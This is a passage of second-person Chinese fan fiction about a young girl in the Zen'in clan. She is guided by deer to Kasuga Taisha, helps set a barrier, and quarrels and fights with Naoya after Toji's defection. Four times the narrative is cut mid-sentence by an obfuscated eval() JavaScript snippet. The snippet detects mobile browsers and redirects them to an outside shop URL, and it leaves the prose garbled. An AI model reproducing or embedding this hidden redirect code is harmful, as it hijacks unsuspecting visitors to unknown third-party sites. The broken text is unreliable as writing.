车站的站务员也好,路边警署的值班警察也罢,哪怕是路上随便拦下的路人,只要你把自己的现状说出来,他们绝对会露出或同情或怜爱的表情,为你提供力所能及的最大帮助——啊,如果遇到的对象是个变态的话,可能事情就不会如此顺畅地发展了。 值得庆幸的是,你应该遇不上变态,毕竟你压根没有向任何人求助。你也没有意识到自己是被刻意抛下了,更不会猜到这是一场幼稚的计谋,乖乖地原地等了半小时,心想平良和平野可能只是去了别的地方,稍后就会回来,可惜期待最容易被苦等磨平。眼看着时针又将指向下一个数字,你想,兄弟俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244204|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概是把你的存在忘掉了。 也可能实在故意折腾你。如果真是这样,你会报复回去的。 到此为止,你才终于意识到了这场闹剧怀有恶意。你没觉得生气,恼怒可不是此刻该做的事情。你现在该想,接下去要怎么做。 你不知道布置结界的地点在春日大社,只知道这桩每年一次的大任务得在神社进行。既然如此,找到神社是不是就可以了?你走出车站,幸运地在出口旁的看板上找到了观光地图,橿原神宫赫然在上。你一根筋的小孩脑瓜驱使你往橿原神社前进,理所应当地觉得那里就该是你的目的地。 通往橿原神宫的路线没那么歪歪扭扭,你只稍微绕了几百米多余的路,就见到了伫立的鸟居。 背靠山林,隆起的地势阻挡了远方的喧闹,让这里透出出乎意料的寂静。门边的石灯笼摇曳着微弱的光,太暗淡了,难以照亮主殿,看不清神的姿态。光线更无法漫到庭院,空旷的一大片空间仿若深潭,你的脚步声不受控制地沉入其中。 橿原神宫庄严也华丽,即便只能看到不明晰的模样,你也觉得这里很符合设立结界的场所,但每个殿堂都大门紧闭,也没有旁人在此。无论是熟悉的禅院家的人,还是你一定不认识的神社的工作人员,谁都不在这里,只有你立足此处。你不可能知道自己走错了地方,只困惑于自己是来得太早还是太晚,思索接下来该做什么才好。 思考了,但想不到。大脑空空的,你好累。 疲惫就该休息。你拂去正殿台阶上的灰尘,大喇喇坐下来。 可能是你动静太大了,身旁灯笼里的烛火晃了晃,倏地暗了好多。你不怕黑,可不亮堂确实叫人难受。你摸索着打开灯笼,想往里呼一口气,火却忽然消失无踪,突兀地凭空不见了。你的心猛跳了一下,呼呼朝灯笼吹气,然而无事发生——你又不是龙,可吐不出火来。 哎,这下麻烦了。 你赶紧合拢灯笼,打算装作无事发生,却有什么东西轻轻顶着你的后背,硬硬的,像是树枝。 准确地说,应该是与树枝很相似的兽角。 在无光的夜晚,奈良的小鹿仰起头看着你。它目睹了你的“罪状”。 14.不鸣的鹿们 奈良向来以鹿闻名,可惜这份名气还没能传到刚过完八岁生日的你的耳朵里。你也完全不知道鹿与奈良之间的古旧故事。不过,你并不对小鹿的突然出现而感到意外。 这座城市被群山环抱,时不时就能见到小片的山林,神社也坐落在这片自然的绿意之中,忽然冒出来大自然的使者,是再正常不过的事情了。 话虽如此,但这头毛茸茸怎么看都很可爱的鹿一直在用角顶你,好像就有点不太正常了。 你原本以为是自己不小心侵入了它的地盘,被它的角不停戳戳戳的动作八成就是想把你从这个位置赶出去;要么就是它相当不满你刚才熄灭了灯笼的举动,打算用这种手段报复你。 鹿有这么强烈的领地意识吗?它们真有这么记仇?说不好。 正如你不知道奈良生活了很多的小鹿,对于这种生物的习性你差不多也算是一无所知,完全不清楚这种生物的攻击行为到底是源于怎样的心态,可你明明已经退到神社的地界之外了,小鹿还是不停顶你,动作甚至显得更加急切了,像是恨不得把你插在它的犄角上不可。 天呐,真是太凶暴了。 就算它钝钝的硬角完全不会给你带来痛楚,如此连续不断的攻击行径还是让你有点慌了。 都走到这么远了,居然还要被它不停驱赶,到底是你走错了方向,还是这个长得可爱的家伙过分霸道地把一大块区域都划进了自己的领地之中?如果是前者,那你肯定会配合地调转方向,可如果是鹿的占有欲在作祟,你可不想惯着它。 你干脆地用手抵住它的角,不让它的脑袋乱动。 “你希望我往哪里走?我会往那个方向去的。我也不想来打扰你,可你不能像这样漫无目的地赶我走。火的事情你也不能怪我,我真不是故意的。” 你特别认真地对它说。 人类的语言对于野生动物来说肯定晦涩难懂——当然家养动物也差不多。你没奢望这头我行我素的小鹿能够听懂你的请求,却好像顺利地在不知不觉之中解锁了迪○尼公主特有的与动物对话的技能。小鹿瞬间停下了顶你的动作,扬起脑袋,呦呦地叫了几声。 它不再用角捣鼓你了,转而叼住你的衣摆,拽着你往前走。 好嘛,骚扰行为升级了。 你赶紧伸手捞回衣摆,大叫着“和服不能给你吃!”。想不到它的牙口好的可怕,你压根没能赢过这场小小的拔河比赛,不那么情愿地被它拽着往前走。 原来它并不是将布料当做了食物,只是想带着你往前走而已。 在确信你走上了它引导的方向之后,小鹿便会乖乖地松嘴,轻悠悠甩着尾巴,走在你的前方,蹄子叩在混凝土浇筑的地砖上,坚实的哒哒声会回荡在夜空下。 偶尔,它的足音会稍稍停下,而这通常发生在你停住脚步不再跟着它继续走的时候。每每你的困惑逼停前进的步伐,它就会立刻回头,先用角顶你一下,随即毫不犹豫地叼住你的衣服,拽着你往前走一段,在确信你知道要跟上之后,才像刚才那样在前头领路。 你们走了挺远。没有时钟或地图,你只能用迈出的步数丈量走过的距离。 你走了整整一万步了,橿原神社在好久之前就已经被你们抛在了身后,为你引路的这个小家伙看起来不像是一时半会儿准备停止前进的样子。鹿真的需要这么庞大的生活空间吗?你想不明白,所以才频频停住脚步。 “我们要去什么地方?”你发动了迪○尼公主的对话技能。 小鹿依旧看着前方,和之前那样,发出呦呦的叫声。 “我们还要走很久吗?” “哟——哟哟。” 嗯,一个音节都没能听懂。 看来你的迪○尼公主对话技能是单向的——也可能小鹿也完全没有明白你的复杂发音代表了怎样的意思。它的叫声也不一定是在回应你,倒更像是在呼唤同伴。就在它的几声鸣叫的不久之后,一头没有角的鹿穿过绿化带的灌木,噌一下跑到你旁边,也用脑袋顶你,还抖了你一身叶子,哒哒哒走到前头,感觉是个心情很好的小家伙。 在接下来的一千步里,更多的鹿加入了前进的行列,又体型更庞大的公鹿,也有小小的、一定还没有出生太久的幼崽。它们步调不同,有的引领着方向,有的踩在你的脚印上前进,鹿群包围着你往前走。 小女孩和一群野生鹿,走在凌晨的公路上,这种事一定太过奇怪,是稀奇到一定会登在明日报纸上的程度——至于能否抢下头版头条就得看运气了,还好你从来没有过成为头条女郎的期待。 需要感谢整座城市都在沉睡,一路走来,你只偶尔遇上几辆汽车驶过。从驾驶座的高度望过去,即便你是同龄人里个头很优越的小孩,也会被重叠交叉的鹿角与绒毛完全遮挡。 鹿群藏起了你,不知所以的陌生人连与你的一面之缘都不会拥有,只以为是野生动物的夜间迁徙,而这种事是完全不值得意外的,就算写成新闻报道,也只会变成报纸上小小一块豆腐干而已。 你依旧在往前走,已经不再计数自己迈出了多少步。 总觉得没必要再数了,毕竟你真的走了好远。 本就因为等待丢下你的叛徒兄弟俩而站得太久的酸痛双腿,在漫长无尽头的前进之后,整个脚掌都变得彻底麻木了,你怀疑自己不是在走路,而是纯粹地再用两根木棍支着躯体和大脑往前走,这只比踩高跷容易一点点。 虽然疲惫,但一路都走在平整的人行道上,就算不容易,似乎也显得没那么不容易。可当领头的鹿钻进绿化带间一条坑坑洼洼的狭窄土路时,就注定你的路途要变得更加不轻松了。 你开始大喘气了,速度越来越慢,艰难地翻过某户人家低矮的围墙,落地时没站稳,险些摔在人家的院子里,还好有只小鹿托住了你,不至于害你彻底落入狼狈境地。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250235|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >穿过陌生人的院子,城市的迹象不知不觉已被甩到背后,逐渐渗透视野的是幽暗的黑影,重叠着勾勒出树叶不明晰的影子。 你们走进了树林里,这是一千年来无人改造的原始林地。 鹿群绕了点路,循着水流声,来到小溪旁喝水。你也俯身,贴着流动的水面,一口气喝了好多水——这时候不知道生水里有一大堆细菌倒是好事一桩。 喝饱了水,肚子沉甸甸,你干脆随地一坐,所有的疲倦都浮上来了,让你只想得寸进尺地躺在地上,根本不管地面会给你带来多少尘土。 果然,做事最忌讳中途停下。 要是让你一刻不停地走到终点,说不定你真能顶着一口气完成。可一旦歇息了一下,继续向前的决心好像也融进小溪,瞬间流到不知何处了。你动都不想动,哪怕每头鹿都在急切地拽你,你也还是更想躺在原地。 鹿生气了,直接咬你的头发和肩膀。这下你得跳起来了。 “我们休息一下不可以吗?” 你简直实在央求它们。灵长类居然要任由偶蹄目生物摆布,简直是倒反天罡。 “你们难道不累吗?都走了这么久,我是真的很累。” 鹿群不嚷嚷,好在也不再咬你的身体或者衣服了。忽然一只鹿用角顶你,旁边的鹿也做出类似的动作。 又要开始折腾你了吗?你累得都冒不出多余的情绪了。 不过,它们不像是在给你找不愉快。 动来动去的角撑起了你的背,几头鹿齐心协力,把你挪到了最大的那头鹿的背上,如刚才那般继续前进。 鹿的脊背温热,短毛硬硬的,稍有些刺,带着一股泥土与青草的味道,不平稳地前进。你抱着它的脖颈,心绪万千—— ——既然能背着你走,干嘛不一开始就这么做啊! 虽然冒出了这种念头,但你也不是真的怨念满满。你几乎快要睡着了,不知道鹿群穿越了整片森林,不过能感觉到它们几次把你换到其他同伴的背上,看来你还是太沉了一点。 抵达森林的边界,爬上略显陡峭的斜坡,在破晓的日光中,你看到了鸟居。 此处是春日大社,你所不知道的目的地,你终于来到了这里。 鹿慢慢跪下,把你放回到地上,又垂低脑袋,像是在对你鞠躬。你也笨拙地躬了躬身。 或许,你该对它们说谢谢,可还来不及开口,鹿群早已回首,遁入森林之中,树叶藏起的蹄音被又一阵脚步声盖住。禅院家年轻的咒术师们正在朝鸟居走来。 “五十里,你居然来得这么早吗?” 最先看到你的是禅院望——挨过你的打之后,他的警惕心总是比双眼更先察觉到你的存在。 他倒是不觉得你在这个时间出现在春日大社很奇怪,毕竟他也是殷勤地早早过来的人之一。 他向你摆摆手,“既然你在,就赶紧来给我们打下手吧。” 15.神的废弃住所 时值破晓,天空还未彻底亮起,四下依旧笼罩着一层夜晚的残影,不温暖的空气带着初春的潮气,多多少少能够将发梢打湿。 你想,一定是因为你还没有正经地晒到太阳,所以这会儿才哈欠连天的。 你一连打了五个哈欠,下巴差点就要合不上,眼皮也好沉。不怪你惰性太大,哪怕是身强力壮的正经成年人走上一整晚,也肯定会和你一样,变成被困倦俘虏的囚徒,况且你可是亟需睡眠的成长期小孩。 还好,和你一起朝春日大社本殿走去的禅院家其他人不会指责你时不时把困意从大脑里挤出来,还有打哈欠时不自觉的“啊——”一声。 这绝不是善意使然,他们只是懒得管你而已。但要是你走着走着就睡倒在半道上,那他们可就要扯着嗓子把你从地上拽起来了。禅院家的人(在这种场合下他们才会很正式地把你视作禅院的一份子)怎么能在地上睡觉?太不像话! 当然你自己也有同感,强撑着不让眼皮真的被困意压垮。 真该庆幸本殿冷飕飕,瞬间冻结了你大睡一觉的冲动。你一下子清醒了。 今天是春日大社的定休日,整个神社都不会对外开放。家主和主持结界布置的主力咒术师大概会在两小时后抵达,为他们准备好意识需要的一切、让大人们能够以最少的精力解决掉这桩每年一次的重要大事,就是早早到场的你们这些小喽啰的工作了。 神官和巫女也来帮忙,可惜他们是看不到咒灵的麻瓜,除了扫净神社与禊祓仪式的准备之外,不便提供更多的协助,尤其是麻烦的咒物安置工作,最需要有资格成为咒术师的人来完成。 你捧着一箱枯枝样的咒物,对着春日大社的地图看了又看,努力把满满当当画在纸上的圆圈记进大脑里。这是咒物需要放置的位置,把这个最麻烦的活计交给你的健人要求好高,命令你必须精准地摆放好咒物,绝不能有半点偏差。你觉得他的此番发言纯粹就是在吓唬你。 他的夸张话语暂且不必放在心里,当下你真正需要在意的,显然是怎么记住地图上的位置标记。 以你不算百分百灵光、好在也不至于被划进愚钝水平的大脑,记住十三个位置,不算是多困难的事情。也许你会需要花费很多时间才能完成这份工作——在初次到访的巨大神社迷路简直理所应当,但你总归可以搞定的。可问题是,你现在连第一步都难以迈出。 你完全记不住十三个位置。这绝对是缺失了一整晚睡眠带来的副产品。 你不想承认自己无法完成当下的任务,尤其不乐意直白地告诉禅院健人。你有种预感,向健人卷来的潮汐要等上好几年才能切实地涌上他的滩涂。在此之前,你不太想再被他揪住小辫子。 这就是为什么,当他催你快去摆咒物的时候,你说的不是“我可能会做不好”,而是“麻烦把地图借给我”。 就算是这么说,也挺让健人不爽的。他露出嘲讽的讥笑,一副看笨蛋的轻蔑表情。 “这点东西都记不住吗?”话语也和嘲笑没差。 他差不多算是道出了真相。你打定了主意不承认,借口信手拈来。 “我想确保万无一失地完成任务。” 你把浅橄榄色的眼睛睁得大大的。真该庆幸缺失的睡眠尚未在你的睫毛下方刻上灰暗的痕迹,否则你此刻冠冕堂皇的话语可就要缺少对应的真诚了。 “要是哪里做得不正确,会很麻烦的,对不对?” 健人还是想嘲笑你。在他看来,谨小慎微完全和懦弱没有区别。可他到底没有说出嘲笑的话,毕竟你的担忧没错,要是真出了纰漏,他也躲不过。 在呈口舌之快与顺利完成差事之间,他犹犹豫豫地选了后者,悻悻闭上嘴,抓起地图往你怀里一塞,摆摆手打发你去干活。你没打算磨蹭,也不乐意多看健人讨厌的面孔,捧着箱子匆匆跑走了。 放置咒物的位置差不多能够组成一个圆,绕着整个神社所在的春日山。你再度步入林间,每迈出三步,必定要低头瞄瞄地图,顺手推开想要吃掉你地图的春日山原住民小鹿们。 很好,到目前为止你都没有走错! 你把第八个咒物埋进还没烂透的枯叶下。这个咒物看起来很像骨头,以至于你的行动莫名与杀人埋尸极其相似,还好你本人完全没有注意到这一点。 你只注意到了无关紧要的、被藤蔓裹住的废弃神社。 神社很小,供奉神明的祠还不如你高,早已荒废,连鸟居都消失不见,就这么被绿意包裹着,突兀地出现在你的眼前。你对这玩意儿完全不好奇,只是它恰好立在你的必经之路上,木做的祠又凑巧在你经过时被风吹开了小门,才多看了几眼。 似乎是雷神的神社,你看到了雷神的字眼,至于祂的名字,早就爬满霉菌,完全看不清。倒是木门上的小鹿图案还算清晰,看来小鹿在奈良的地位一直都很了不得。 被风吹开的小门,理论上也该由风关上才好,但你善心打发,顺手合上了门,却被刺得差点跳起来。阴湿的木门好像带点,弄痛了你的……不,不对,不是电。 一簇微弱的小小火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260247|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焰在门上燃烧,却抵不过木头中的潮气,扑朔了几下就消失了。你所感知到的痛感,是火烧的炽热。 火是从你的指尖漏下来的,就像你触碰神社灯笼时,消失无踪的火焰。 唔……是术式在奏效吧…… 你莫名有点心虚,感觉自己变成了普罗米修斯。以免被吊在山上变成老鹰的终身饭卡,还是趁着有人发现你偷火之前赶快溜走吧。 你快步继续往前,再看看地图,然后推开一二三只来看热闹的鹿,艰难干活。来奈良的游客用鹿仙贝把它们惯坏了,可不如带你来春日大社的鹿群聪明,一心只想把地图当做美食吃掉。 你很不容易地埋好最后的咒物,赶忙把地图揣进怀里,匆匆跑回春日大社。 家主马上就要到了。禅院望催你快把和服下摆的灰土拍干净,否则太不像样。你们还算不上朋友,只是他还没完全泯灭的良心让他羞于看你在家主面前出丑而已。 等你收拾好自己,直毘人也迈过了鸟居。直哉就走在他身后,一如既往高傲的面孔,比起平日里的做派还要张扬一些。 他的好心情源于父亲居然一整天都没问起你的事,看来家主也根本不关心你嘛。 而他的好心情的破灭,显然是因为你的出现。 直哉的眼睛都要掉出来了,直勾勾盯着你,写满难以置信,保不齐见到鬼都不会比此刻更惊讶。 鬼是不存在的,可你再真切不过了。 震惊过后,直哉的表情完全被欲言又止的愤恨取代,耷拉下去的嘴角一秒钟都翘不起来。 他很想问你到底为什么还会阴魂不散,可这话没法说出口,否则就是自爆了。除了瞪你之外,他似乎什么都做不了。 既然如此,那就用目光杀死你好了。 从禊祓仪式到巫女与神官的神乐,再到结界彻底笼罩大地,直哉的目光完全没有从你的身上移开。而你对此的感知趋近于零。 你太困了,只知道直哉一直在看你,但真的无心揣摩他的目光里藏着何种意思。 你只在离开春日大社的时候,看到直哉小声且气恼地在对平良平野两兄弟说着什么,与他拧起的面孔形成鲜明对比的显然是兄弟俩唯唯诺诺的窝囊姿态。 你的大脑在这一秒变得清澈,所以你意识到了两件事—— 其一,你缺失的一整晚睡眠和酸痛到感觉马上就会彻底瓦解的双腿,全都拜禅院直哉所赐。 其二,你害他计谋落空,把他气到要崩溃了。这可真是…… ……爽极了! 16.坚定心情也会被踩扁 禅院直哉必须承认,他遭遇了巨大的失败——你还能出现在他的面前就是最大的失败没错。 失利大概是事实没错了,但他并不打算表现得过分失魂落魄,也绝对不是故意要僵着脸,从奈良回到京都宅邸的每一秒钟内没露出一丁点好脸色,可只要想到你居然没能如他所愿地消失无踪,还蹭着家主的车和他一起坐在后座回家,他怎么也没办法伪装出正常的表情了。 也不怪他太鲁莽或是怎样,毕竟他既没有学会扑克脸的艺术,也尚未尝过这般败绩。 真的真的,在今天之前,他可从没失败过。无论是他优于同龄人的聪明才智,还是在整个庞大的禅院家都显得卓越的天赋,全部都是他成功人生的注脚……啊,六岁的最后几个月始终没有觉醒术式,导致他一向稳固的家主继承人的位置发生了小小动摇,那段时期肯定让他品尝到了失败的苦涩?——那回不算! 什什什什么时候有过这种事啊!才没有呢!他早就把那几个月的记忆忘光了!嗯! 所以他理所应当地把你们那段时间的和谐小联盟也一起抛之脑后,对你的所有心情只剩不满。 尤其看到你一上车就开始呼呼大睡,胆大包天不知礼数且昏头到完全倒在了家主的身旁,他的不满都快要进化到嫌弃了。而他一向尊贵的家主老爹居然完全没有推开你,即便直毘人没有做出在此之上更多的温柔动作,但他竟然能够无所谓你靠在身边,视你没礼貌的动作为无物,光这一点都足够让直哉对你所有的负面情绪加倍膨胀,发酵到几乎都快要把他撑破了。 毫无疑问,把你赶出禅院家的决心也要一起扩张,他冒出了那种“不成功便成仁整个家有你没我”的坚定。 结果这份坚定在到家下车的时候就差点被你踩扁,这都要怪你想赶在直哉前头下车,于是不长眼地一脚踩中了直哉的脚趾。 更加不巧,你穿在脚上的是同住的禅院家姐姐淘汰下来的旧靴子,厚重且不合脚,至少大了三码,以至于你的每一步都需要用力地踏下去才不会甩到;而直哉穿的是木屐,简单纯粹的木屐。 直哉像压扁的小猫那样很尖地“啊”了一声,又迅速地闭上了嘴,肯定是觉得痛到叫出声的自己看起来太逊,干脆愤愤地朝你投来目光,难听话也将追着过来,却先一步被你堵住了。 “我没看见。”你给出堂而皇之的借口,以及一副笑眯眯的面孔,“我还没睡醒呢。” 没睡醒?鬼才会信! 直哉死死盯着你那双浅橄榄色的圆眼睛,漾在淡淡虹膜里的全都是清醒的神智,哪儿能见到半点睡意的痕迹。他真想当场戳穿你,可他的家主老爹就走在前头,从前老爹说过的那句“意思是你连个小姑娘都打不过吗?”也在同时钻了出来,直哉张牙舞爪的气性瞬间收回去了,只对你做了个难看的鬼脸。 “既然做错了事,连道歉都不说一句吗?”他转而站到道德高地上指责你,“真没礼貌,禅院家可不是这么教导你的!” 直哉故意提高了声,想让他的家主老爹也听到自己义正词严的控诉——虽然,直毘人完全没在听。 “是吗?”你眨眨眼,很诚恳的模样,“如果直哉你想听的话,那我就和你说吧。” “什么叫我想……” “咳咳——对不起。这样你满意了吗?” 能满意才怪! 你压根就是在敷衍他吧! 直哉被踩扁的那份要把你赶走的坚定又重新鼓起来了,而你对此一无所知。你正沉浸在踩中了直哉还成功惹毛他的窃喜之中,而这点小小的得意正好能够弥补你苦行一整晚才抵达春日大社的劳累——很好,现在你们之间就对等啦! 不过,倘若直哉这份坚定能够迅速落实,你接下来的平淡日常应该会稍起波澜,然而一切照旧,且在回到京都后不久的某天,你忽然发现直哉的表情很怪,始终一副怒气冲冲的样子,真不知道是在冲着什么生气。 直哉君的诡异状态持续了不长不短的一段时间,在此期间他完全很可能完全忘记了“驱逐五十里鸣神”的计划,所以你的日子一如既往,意思是平淡且波澜不惊。 能注意到直哉的情绪变化,和你拙劣的观察能力完全无关,也并非因为你会关注他那张还算挺可爱挺漂亮的脸。纯粹是在那段时间,整个家都透着和寻常不太一样的氛围。 究竟是更轻快的氛围,还是变得愈发沉重了呢?你一时也判断不出来。只是很常看到大家交头接耳,无论是走在宅邸里的其他大人,还是家塾里的其他同龄人,大家都在咬耳朵,说着你不晓得的话题。 常常说着说着,他们会露出轻蔑的讥笑,随之皱起的眼角流出了“我就说吧”似的心情、 可直哉和他们的表现都不一样。 你对直哉绝对算不上了解,但作为一个标准的“禅院”,且还是被宠爱被尊敬被爱戴的禅院,他的行为一定会是这个家里的所有人凝聚而成的结晶,在这种时候也应该理所应当地做出与其他人相同(甚至更夸张)的反应。可他看起来却意外得充满愤恨,始终一副低沉面孔,就连他的小跟班们都搞不懂尊敬的少爷怎么消沉成这样,更不明白为什么每当他们在道场偷偷讨论家里发生的那件不大不小但还挺轰动的事件时,直哉会很不爽地勒令他们闭嘴,完全不能在他的面前嚼舌根。 直哉的小尾巴们都无法解明的困惑,你肯定也无法想透。好在你姑且算是知道了人人都在交头接耳的那件事是什么——和你同住的禅院家姐姐告诉你的。 “就是那个没术式也没咒力的没用男人啦。” 谈论与自己无关的丑闻绝对最让人愉快的事,禅院家姐姐几乎要贴到你的身旁。同住一间房间的三年以来,你们还是第一次表现得这么亲昵。 你懵懵的。“谁呀?”禅院家姐姐过分主观的描述没能给你带来半点印象。 “你不知道吗?唔,我一时半会而也想不起他的名字了,不过这不重要。”她满不在意地摆摆手,“反正你只要知道他根本祓除不了咒灵,就算在无术式的成员满满的躯俱留队伍里都派不上用场,三天两头要挨罚,是禅院家几百年来最大的耻辱就是了。我觉得你应该知道他才对啊。” “哦——” 这么说的话,你倒是想起来了。 引发了你的记忆顺利复苏的线索并不是此人在禅院家看来格格不入甚至羞耻的无能,而是禅院家姐姐无意间说的“三天两头要挨罚”。 当然,想起他的名字还是稍稍花了你一点时间,毕竟你们很久没有见过了。 “你是在说甚尔的事情,是吗?”你先确认了一下,而后才意识到这场对话一直都没能切入正题,“他怎么了吗?” “他叛逃了。” “叛逃?” 禅院家塾对于国文教学没那么上心,你的语文水平不高不低,能够把“叛逃”和“逃跑”画上等号,却不足以明白这词背后藏着怎样的含义。 没关系没关系,身旁正有一位纯粹的禅院能为你进行标准答案的解读。 “太放肆了,居然直接从禅院家逃走了,把我们禅院的面子放在了哪里!家主都气死了,觉得自己的尊严都没处去了。还好这条消息被压了下来,只在流传在我们禅院家,否则外头也要嘲笑禅院了!真是的,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271037|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能就算了,连做人的素养都不存在,这家伙果然烂透了!” 禅院家姐姐说得义愤填膺,你几乎也要被她的愤恨感染,可你只想到了待在忌库的那天。都能在那种地方睡觉了,真不知道他从前被丢进去了多少回。 既然如此,想要逃离现状,也是很正常的事情。 你惊讶于自己冒出的念头——惊讶的不是你合理化了甚尔的行为,而是“逃离”的概念。 在此之前,“逃离”亦或者是“离开”,类似的概念几乎从未在你的脑海中存在过,也难怪当它出现时,你会感到无所适从,不自然地掐断了思绪,胡乱地点着脑袋,姑且算是给了禅院家姐姐该有的回应。 知道了甚尔的事情,多少算是明白了直哉截然不同的情绪从何而来,应该是在和他的家主老爹同仇敌忾,顺便保全禅院家的脸面吧。 全部猜错。 对甚尔的离开,直哉只抱有纯粹的不理解和愤懑。为什么要离开禅院家?真是疯了。 对直哉而言,这个家构成了他全部的自信与尊严,定义了他存在的意义,未来也将铸成他的荣耀。他自然而然地把自己的处境放进甚尔的人生背景,更觉得难以理解,还觉得他的离开很像是背叛,小小的愤懑大概也源自于此。 你对此一无所知,毕竟你连直哉早就拜倒在了甚尔的和服衣摆之下的事情都不晓得,也难怪摸不透他的心情,以至于在他面前说错了话。 “不至于对甚尔的事情这么耿耿于怀吧?” 结束日常训练,走出到场的路上,你追上独自闷头往前走的直哉,漫不经心地随口说。 “每个人做出的决定肯定有自己的理由,不是吗?真不知道你气这么久干什么。而且你这样已经影响到其他人了。” 直哉发泄心情的方式包括但不限于在一对一训练中肆意发泄,动不动就踢翻木刀弓箭,又勒令其他人来收拾(这个“其他人”有百分之六十的概率会是你,虽然你永远假装没听见,一次都不会照干)。也不准旁人说悄悄话,宣称他们叽叽喳喳的话语吵得要死,以至于最近整个家塾都弥漫着比往日还要不适的死气沉沉。 还有此刻,他僵硬地转过脖颈,瞪着你的目光简直饱含怒火。 “闭嘴,轮不到你来对我指手画脚的!再说了,你知道什么?” 他把自己说得更加生气,还有点气急败坏,风风火火地朝你冲过来。 “你们谁也不懂他,只有我才最理解他!” 他才是那个会站在与甚尔相同高度、看懂甚尔死气满满的眼眸中藏着怎样心思的人。而不是连血脉和姓氏都与他们不相同的你。 “是吗?” 他突然冲过来的动作倒是也没吓到你,你的脊背甚至没有往后移动一厘米,害得你们的鼻子都要撞在一起了。但急促的步伐确实卷起了地面的尘土,飘到你的衣袖上,害得你不得不专心地拍打袖子。 “我无所谓你的想法,反正你别老怒气冲冲的就行。” 你的目的明确,但也直白到让人反感,直哉本来就讨厌你的话语,这下更是火上浇油。他几乎没有思考,直接一拳朝你抡过来。 当然,没能打中。 你当场就还手了。 虽说人要蛰伏,但你怎么可能忍耐到被体术不如你的直哉按着打,等他打完了再还手?他的暴力行为肯定是要立刻予以反馈的。 所以你们就打在一起了。 你锤他鼻子,他扯你头发,从道场外追打到无人的池塘边,你们在石砖地面上滚了足足十圈有余。然后…… 然后嘛,你们就掉进池塘里了。 17.蓝本描绘 在这里需要纠正一下,准确地说,不是“你们掉进了池塘”。在扑通一声消失之后,真正与水面接触的只有直哉,而你足够眼疾手快,在意识到重力开始拉扯你往地面的第一秒钟,你迅速见好就收,立刻把“让直哉多吃点拳头”的念头抛之脑后,腾出双手伸向岸边。 真的,这就是千钧一发的时刻没有错了,但凡再迟上小半秒,你的指尖绝对没办法顺利地扒住岸边。 借着指腹与石板的那一丁点摩擦力,你勉勉强强找回了平衡感,只有飞溅的水花打湿了你的后背。 水花是哪里来的呢?当然是直哉的零分跳水带来的副产品啦。 应当感谢如今正是初夏,空气里带着新季节的燥热,就算被水淋透,也不至于到瑟瑟发抖的程度。而且你觉得,以直哉这种怒火中烧的状态,倒是很适合浇点水冷静一下,否则他的大脑处理器肯定要被烧坏了。 另一个值得感谢的小事是,池塘清澈且浅,溺水身亡和感染寄生虫的可能性无限趋近于零。直哉在水里打了个滚,看起来很顺畅地就站起身来了。 很顺畅,也很生气,他恨恨地瞪着你。 不管怎么看,他此刻的狼狈都是你带来的,你绝对是罪魁祸首。 不过,倘若非要细细考究,你们之间的过错大概一半一半,谁都需要负责。再算得精细一点,说不定盛满责任的天平需要朝直哉的那一侧稍稍下沉些许才行,谁让他沉不住气先动手了,你的行为只是……正当防御? 轻轻一蹬池塘边缘的碎石块,你毫不费劲地跳上岸,重新梳好被扯乱的短发,再摸摸自己的后背。衣服上的水渍只是不大的几滩,看来马上就会干了,用不着太担心。 干完了这一切之后,你才看向直哉,与他对上视线。 从他的目光里完全能看出他的不服气,看来你们之间的扯头花一时半会儿还不会结束。可露出这副神态的他却又一动不动,似乎是想要叫停战斗。你有点搞不懂他真实的心思,也知道自己不擅长做这种事,在原地等了几秒也没有等到直哉的更多反应,这就准备走了。 这时候他总算是动起来了——他开始朝你嚷嚷。 “没点眼力见吗,五十里!赶紧拉我上来!” 他的声音在水面上砸出好几圈涟漪,也荡到了你的耳朵里。你折返回去,站到岸边,与直哉之间的高度差大得惊人,都怪他的大半个身子都栽在水里。 